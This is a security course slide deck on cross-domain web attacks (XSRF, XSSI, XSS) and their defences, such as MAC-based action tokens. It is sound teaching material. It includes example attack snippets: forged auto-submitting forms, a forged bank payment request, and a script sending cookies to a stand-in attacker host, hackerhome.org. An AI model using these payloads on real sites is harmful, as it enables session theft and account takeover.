921 likes | 1.39k Views
C HAPTER 10 Cross-Domain Security in Web Applications.
E N D
CHAPTER10Cross-Domain Security in Web Applications Slides adapted from "Foundations of Security: What Every Programmer Needs To Know" by Neil Daswani, Christoph Kern, and Anita Kesavan (ISBN 1590597842; http://www.foundationsofsecurity.com). Except as otherwise noted, the content of this presentation is licensed under the Creative Commons 3.0 License.
Agenda • Domain: where our apps & services are hosted • Cross-domain: security threats due to interactions between our applications and pages on other domains • Alice is simultaneously (i.e. same browser session), using our (“good”) web-application and a “malicious” web-application • Security Issues? Solutions? • Cross-Site Request Forgery, Scripting…
10.1. Interaction Between Web Pages From Different Domains • Possible interactions limited by same-origin policy (a.k.a. cross-domain security policy) • Links, embedded frames, data inclusion across domains still possible • Client-side scripts can make requests cross-domain • HTTP & cookie authentication two common modes (both are usually cached) • Cached credentials associated with browser instance • Future (possibly malicious) requests don’t need further authentication
10.1.1. HTML, JavaScript, and the Same-Origin Policy • Modern browsers use DHTML • Support style layout through CSS • Behavior directives through JavaScript • Access Document Object Model (DOM) allowing reading/modifying page and responding to events • Origin: protocol, hostname, port, but not path • Same-origin policy: scripts can only access properties (cookies, DOM objects) of documents of same origin
10.1.1. Same-Origin Examples • Same Origin • http://www.examplesite.org/here • http://www.examplesite.org/there • same protocol: http, host: examplesite, default port 80 • All Different Origins • http://www.examplesite.org/here • https://www.examplesite.org/there • http://www.examplesite.org:8080/thar • http://www.hackerhome.org/yonder • Different protocol: http vs. https, different ports: 80 vs. 8080, different hosts: examplesite vs. hackerhome
10.1.2. Possible Interactions of Documents from Different Origins (1) • hackerhome.org can link to us, can’t control<a href="http://www.mywwwservice.com/some_url">Click here!</a> • Or include a hidden embedded frame:<iframe style="display: none" src="http://www.mywwwservice.com/ some_url"></iframe> • No visible cue to the user (style attribute hides it) • Happens automatically, without user interaction • Same-origin policy prevents JavaScript on hackerhome direct access to our DOM
10.1.2. Possible Interactions (2) • Occasionally, data loaded from one domain is considered to originate from different domain <script src="http://www.mywwwservice.com/some_url></script"> • hackerhome can include this script loaded from our site, but it is considered to originate from hackerhome instead • Included script can inspect contents of enclosing page which can define evaluation environment for script
10.1.2. Possible Interactions (3) • Another way attacker can initiate requests from user’s browsers to our server: • Form is submitted to our server without any input from user • Only has a hidden input field, nothing visible to user • Form has a name, so script can access it via DOM and automatically submit it <form name="f" method="POST" action="http://www.mywwwservice.com/action"> <input type="hidden" name="cmd" value="do_something"> ... </form> <script>document.f.submit();</script>
10.1.3. HTTP Request Authentication • HTTP is stateless, so web apps have to associate requests with users themselves • HTTP authentication: username/passwd automatically supplied in HTTP header • Cookie authentication: credentials requested in form, after POST app issues session token • Browser returns session cookie for each request • Hidden-form authentication: hidden form fields transfer session token • Http & cookie authentication credentials cached
10.1.4. Lifetime of Cached Cookies and HTTP Authentication Credentials • Temporary cookies cached until browser shut down, persistent ones cached until expiry date • HTTP authentication credentials cached in memory, shared by all browser windows of a single browser instance • Caching depends only on browser instance lifetime, not on whether original window is open
10.1.4. Credential Caching Scenario • (1) Alice has browser window open, (2) creates new window (3) to visit our site, HTTP authentication credentials stored • (4) She closes the window, but original one still open (5) later, she’s lured to the hacker’s site which causes a surreptitious request to our site utilizing the cached credentials • Credentials persisted even after (4), cookies could have been timed-out; step (5) could happen days or weeks after (4)
10.2. Attack Patterns • Security issues arising from browser interacting with multiple web apps (ours and malicious ones), not direct attacks • Cross-Site Request Forgery (XSRF) • Cross-Site Script Inclusion (XSSI) • Cross-Site Scripting (XSS)
10.2.1. Cross-Site Request Forgery (XSRF) • Malicious site can initiate HTTP requests to our app on Alice’s behalf, w/o her knowledge • Cached credentials sent to our server regardless of who made the request • Ex: change password feature on our app • Hacker site could execute a script to send a fake password-change request to our form • authenticates because cookies are sent <form method="POST" action="/update_profile"> ... New Password: <input type="password" name="password"> ... </form>
<form method="POST" name="evilform" target="hiddenframe" action="https://www.mywwwservice.com/update_profile"> <input type="hidden" id="password" value="evilhax0r"> </form> <iframe name="hiddenframe" style="display: none"> </iframe> <script>document.evilform.submit();</script> 10.2.1. XSRF Example 1. Alice’s browser loads page from hackerhome.org 2. Evil Script runs causing evilform to be submitted with a password-change request to our “good” form: www.mywwwservice.com/update_profile with a<input type="password" id="password"> field evilform 3. Browser sends authentication cookies to our app. We’re hoodwinked into thinking the request is from Alice. Her password is changed to evilhax0r!
10.2.1. XSRF Impacts • Malicious site can’t read info, but can make write requests to our app! • In Alice’s case, attacker gained control of her account with full read/write access! • Who should worry about XSRF? • Apps w/ server-side state: user info, updatable profiles such as username/passwd (e.g. Facebook) • Apps that do financial transactions for users (e.g. Amazon, eBay) • Any app that stores user data (e.g. calendars, tasks)
/login.html Example: Normal Interaction bank.com Alice /auth uname=victim&pass=fmd9032 Cookie: sessionid=40a4c04de /viewbalanceCookie: sessionid=40a4c04de “Your balance is $25,000”
/login.html /evil.html <img src="http://bank.com/paybill?addr=123 evil st & amt=$10000"> /paybill?addr=123 evil st, amt=$10000Cookie: sessionid=40a4c04de “OK. Payment Sent!” Example: Another XSRF Attack bank.com evil.org Alice /auth uname=victim&pass=fmd9032 Cookie: sessionid=40a4c04de
10.2.2. Cross-Site Script Inclusion (XSSI) • 3rd-party can include <script> sourced from us • Static Script Inclusion • Purpose is to enable code sharing, i.e. providing JavaScript library for others to use • Including 3rd-party script dangerous w/o control since it runs in our context with full access to client data • Dynamic Script • Instead of traditional postback of new HTML doc, asynchronous requests (AJAX) used to fetch data • Data exchanged via XML or JSON (arrays, dicts)
10.2.2. XSSI • Malicious website can request dynamic script • Browser authentication cookies would be sent • Script (JSON fragment) returned by server is accessible to and runs on the malicious site • But, script is evaluated in hacker’s context • Hacker redefines the callback method to process and harvest the user data as desired
10.2.2. XSSI Example Request http://www.mywwwservice.com/json/nav_data?callback_UpdateHeader Server Client Reply JavaScript Code Snippet UpdateHeader({ "date_time": "2007/07/19 6:22", "logged_in_user": "alice", "account_balance": "256.98" }) sends back user data! Typical Interaction Attack Scenario <script> function UpdateHeader(dict) { if (dict['account_balance'] > 100) { do_phishing_redirect( dict['logged_in_user']); } } // do evil stuff, get user data </script> <script src="http://www.mywwwservice.com/json/nav_data?callback=UpdateHeader"> </script> • Malicious site loads script to initiate the request instead • Browser sends cookies • Server replies as usual • Evil Script gets user data!
XSSI Example: AJAX Script • Dynamic Script Inclusion: viewbalance.html • Good Site: www.bank.com <script> x = new XMLHTTPRequest(); // used to make an AJAX request x.onreadystatechange = ProcessResults; x.open("POST", "http://www.bank.com/json/get_data?callback=RenderData"); function ProcessResults() { if (x.readyState == 4 and x.status = 200) eval(x.responseBody); } </script>
Normal AJAX Interaction bank.com Alice login & authenticate Cookie: sessionid=40a4c04de /viewbalance.htmlCookie: sessionid=40a4c04de /json/get_data?callback=RenderData RenderData({“acct_no”:”494783”, “balance”:”10000”}) RenderData
Another XSSI Attack bank.com evil.org Alice login & authenticate Cookie: sessionid=40a4c04de /viewbalance.html Cookie: sessionid=40a4c04de /evil.html <script>function RenderData(args) { sendArgsToEvilOrg(args); } </script><script src="http://www.bank.com/json/get_data? callback=RenderData"> RenderData({“acct_no”:”494783”, “balance”:”10000”}) Overrides Callback! RenderData({“acct_no”:”494783”, “balance”:”10000”})
10.2.3. Cross-Site Scripting (XSS) • What if attacker can get a malicious script to be executed in our application’s context? • access user’s cookies, transfer to their server • Ex: our app could have a query parameter in a search URL and print it out on page • http://www.mywwwservice.com/query?question=cookies • Following fragment in returned HTML document with value of parameter question inserted into page • Unfiltered input allows attacker to inject scripts ...<p>Your query for 'cookies' returned the following results:<p>...
10.2.3. XSS Example • Alice tricked into loading URL (thru link or hidden frame sourcing it) • Server’s response contains • Attack string URL-encodes < and > • malicious-script, any script attacker desires, is executed in context of our domain http://www.mywwwservice.com/query? question=cookies+%3Cscript%3Emalicious-script%3C/script%3E <p>Your query for 'cookies <script>malicious-script</script>' returned the following results:</p>
10.2.3. XSS Exploits: Stealing Cookies • Malicious script could cause browser to send attacker all cookies for our app’s domain • Attacker gains full access to Alice’s session • Script associated with our domain • Can access document.cookie in DOM • Constructs URL on attacker’s server, gets saved in a log file, can extract info from cookie parameter <script> i = new Image(); i.src = "http://www.hackerhome.org/log_cookie?cookie=" + escape(document.cookie); // URL-encode </script>
10.2.3. XSS Exploits: Scripting the Vulnerable Application • Complex script with specific goal • Get personal user info, transfer funds, etc… • More sophisticated than just stealing cookies • Advantages over cookie stealing • Stolen session cookie may expire before it’s used • Never makes a direct request to our server • We can’t log his IP, he’s harder to trace
10.2.3. XSS Exploits: Modifying Web Pages • Attacker can script modifications to web pages loaded from our site by manipulating DOM • Part of social engineering, phishing attack • Intended for viewing by victim user • Modified page is loaded from our site • So URL is still the same • No certificate-mismatch even with SSL • Hard to tell that modification is by 3rd party
10.2.3. Sources of Untrusted Data • Query parameters, HTML form fields • Path of the URI which could be inserted into page via a “Document not found” error • Cookies, parts of the HTTP request header (e.g. Referer header) • Data inserted into a SQL DB, file system • 3rd party data (e.g. RSS feed)
10.2.3. Stored vs. Reflected XSS • Reflected XSS: script injected into a request and returned immediately in response (like query parameter example) • Stored XSS: script delivered to victim some time after being injected • stored somewhere in the meantime • attack is repeatable, more easily spread • Ex: Message board with injected script in a message, all users who view the message will be attacked • Underlying issue for both is untrusted data
10.2.3. MySpace Attacked by Stored XSS Worm • XSS really damaging when stored XSS can propagate in a worm-like pattern • In 2005, XSS worm released on MySpace • Propagated through profiles via friend connections • Payload harmless: added user “Samy” to infected user’s friends list • Impact: MySpace down for several hours to clean up profiles (but XSS worm impact could be much worse!)
10.3. Preventing XSRF • HTTP requests originating from user action are indistinguishable from those initiated by a script • Need own methods to distinguish valid requests • Inspecting Referer Headers • Validation via User-Provided Secret • Validation via Action Token
10.3.1. Inspecting Referer Headers • Referer header specifies the URI of document originating the request • Assuming requests from our site are good, don’t serve requests not from our site • OK, but not practical since it could be forged or blanked (even by legitimate users) • For well-behaved browsers, reasonable to expect Referer headers to be accurate, if present • But if blank, we can’t tell if it’s legitimate or not
10.3.2. Validation via User-Provided Secret • Can require user to enter secret (e.g. login password) along with requests that make server-side state changes or transactions • Ex: The change password form (10.2.1) could ask for the user’s current password • Balance with user convenience: use only for infrequent, “high-value” transactions • Password or profile changes • Expensive commercial/financial operations
10.3.3. Validation via Action Token • Add special action tokens as hidden fields to “genuine” forms to distinguish from forgeries • Same-origin policy prevents 3rd party from inspecting the form to find the token • Need to generate and validate tokens so that • Malicious 3rd party can’t guess or forge token • Then can use to distinguish genuine and forged forms • How? We propose a scheme next.
10.3.3. Generating Action Tokens • Concatenate value of timestamp or counter c with the Message Authentication Code (MAC) of c under secret key K: • Token: T = MACK(c)||c • Security dependent on crypto algorithm for MAC • || denotes string concatenation, T can be parsed into individual components later • Recall from 1.5., MACs are function of message and secret key (See Ch. 15 for more details)
10.3.3. Validating Action Tokens • Split token T into MAC and counter components • Compute expected MAC for given c and check that given MAC matches • If MAC algorithm is secure and K is secret, 3rd party can’t create MACK(c), so can’t forge token
10.3.3. Problem with Scheme • Application will accept any token we’ve previously generated for a browser • Attacker can use our application as an oracle! • Uses own browser to go to page on our site w/ form • Extracts the token from hidden field in form • Need to also verify that incoming request has action token sent to the same browser (not just any token sent to some browser)
10.3.3. Fixing the Problem • Bind value of action token to a cookie • Same-origin policy prevents 3rd party from reading or setting our cookies • Use cookie to distinguish between browser instances • New Scheme • Cookie C is unpredictable, unique to browser instance • C can be session authentication cookie • Or random 128 bits specifically for this purpose • L = action URL for form with action token • Compute T = MACK(C||d||L), d is separator (e.g. ;) • d ensures uniqueness of concatenation
10.3.3. Validation in New Scheme • Extract request URL L’ (w/o query part for GET request) and cookie C’. • Compute expected value of action token: • Texpected = MACK(C’||d||L’) • Extract actual Trequest of action token from appropriate request parameter • Verify Texpected = Trequest ,otherwise reject • Occasionally legitimate request may fail • Ex: user leaves page w/ form open and initiates new session in different window; action token for original form becomes “stale”
10.3.4. Security Analysis of the Action Token Scheme • Value of token chosen to be unguessable • Output of cryptographically strong MAC algorithm • Attack rate limited by JavaScript loop, far slower than rates usually supposed for offline attacks against crypto algorithms • Only way to obtain token (w/o key) is to use our app as an oracle • This also requires the user’s session cookie • Assume attacker doesn’t have this otherwise he could already directly hijack the session anyway • Session cookies are also hard to guess
10.3.4. Security Analysis: Leakage of Action Tokens • For GET requests, action token visible as query parameter in request URL • Would appear in proxy and web server logs • Could be leaked in Referer header if page contains references (images, links) to 3rd party documents • HTTP spec recommends POST instead of GET • Scheme incorporates target action URL into MAC computation • If one URL is leaked, can’t be used against another • Use fresh cookie for each browser instance, so stolen action token not usable for future sessions
10.3.4. Analysis: Limitations in Presence of XSS Vulnerabilities • If application is vulnerable to XSS attack, action token scheme is ineffective. • Attacker can inject script to steal cookies and corresponding action tokens. • Or even directly “fill out” forms and submit request within context of user’s session • But if XSS vulnerability exists, attacker already has a better mode of attack than XSRF
10.3.4. Analysis: Relying on Format of Submitted Data • Communication with server often follows RPC pattern through XMLHttpRequest object • Marshalling data in some form (e.g. JSON/XML) • Form-based request ex: • results in following POST request (not valid JSON) • Form’s fields encoded as key/value pairs • Metacharacters (&, =, space) are HTML-encoded • All key/value pairs concatenated, separated by & char <form method="POST" action="http://www.mywwwservice.com/action"> <input name="foo" value="I'd like a cookie"> <input name="bar" value="and some tea & coffee"> </form> foo=I'd%20like%20a%20cookie&bar=and%20some%20tea%20%26%20coffee
10.3.4. Relying on Format of Submitted Data • <form> tag also has enctype attribute • specifying encoding via MIME media type • Default: application/x-www-form-urlencoded • text/plain (&-separated pairs w/o encoding) • Form Example and corresponding POST: POST request can have arbitrary content (including valid JSON/XML)!Can’t just rely on format, use action tokens to prevent XSRF! <form method="POST" action="http://www.mywwwservice.com/action" enctype="text/plain"> <input name='{"junk": "ig' value='nore", "new_password": "evilhax0r"}'> </form> Valid JSON! {"junk": "ig=nore", "new_password": "evilhax0r"}
10.4. Preventing XSSI • Can’t stop others from loading our resources • Similar problem with preventing XSRF • need to distinguish 3rd party references from legitimate ones, so we can deny the former • Authentication via Action Token • Restriction to POST Requests • Preventing Resource Access for Cost
10.4.1. Authentication via Action Token • Put an additional query parameter w/ token which must be consistent w/ session cookie • Malicious page can’t guess token, request refused • Employ same action token scheme introduced against XSRF in 10.3.3. (can use a single token for both purposes) • Use POST whenever possible, to prevent leaking of token via GET parameters in URL • Leakage risk less b/c JavaScript document, not HTML
10.4.2. Restriction to POST Requests • Cross-domain attacks entry point: <script> tags • these always use GET • To protect read-only requests, restrict to POST • Use action tokens to protect all Ajax requests • Ajax mixes read-only and state-changing (write) requests, so POST restriction alone doesn’t help
10.4.3. Preventing Resource Access for Cost Reasons • If ISP charges for volume of traffic • Limit resource inclusion by 3rd party for cost reasons • Just decline requests if Referer header is not one of our sites • Serve requests with empty Referer headers • Not a complete solution, but sufficient for limiting “bandwith leeching” • Perhaps a few requests slip through, but only a fraction of the cost still remains
10.5. Preventing XSS • Never send untrusted data to browser • Such that data could cause execution of script • Usually can just suppress certain characters • We show examples of various contexts in HTML document as template snippets • Variable substitution placeholders: %(var)s • evil-script; will denote what attacker injects • Contexts where XSS attack is possible